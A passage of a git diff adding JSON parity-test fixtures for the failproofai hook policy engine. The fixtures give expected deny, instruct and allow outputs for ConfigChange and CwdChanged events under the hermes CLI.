00000000..6cdee26d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ConfigChange/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/ConfigChange/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/ConfigChange/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..8edc1fe3 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ConfigChange/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/ConfigChange/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/ConfigChange/deny__tool-present__one-policy.json new file mode 100644 index 00000000..8451719e --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ConfigChange/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/ConfigChange/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/ConfigChange/deny__tool-present__two-policies.json new file mode 100644 index 00000000..8f94ec5a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ConfigChange/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/ConfigChange/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/ConfigChange/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..3e07cc7b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ConfigChange/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/ConfigChange/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/ConfigChange/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b8267a6d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ConfigChange/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/ConfigChange/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/ConfigChange/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..f88149c4 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ConfigChange/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/ConfigChange/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/ConfigChange/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..0a479379 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ConfigChange/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/CwdChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/CwdChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..0729e89a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/CwdChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/CwdChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/CwdChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..a541e6c8 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/CwdChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/CwdChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/CwdChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9d96a1f1 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/CwdChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/CwdChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/CwdChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..2d872b5c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/CwdChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/CwdChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/CwdChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..b687551a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/CwdChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/CwdChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/CwdChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..54f08751 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/CwdChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/CwdChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/CwdChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..66e35989 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/CwdChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/CwdChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/CwdChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..def2a305 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/CwdChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/CwdChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/CwdChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..4669383d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/CwdChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/CwdChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/CwdChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..fe4a5447 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/CwdChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/CwdChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/CwdChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..931693cf --- /dev/null +++ b/__tests__/parity/fixtures/hermes/CwdChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked 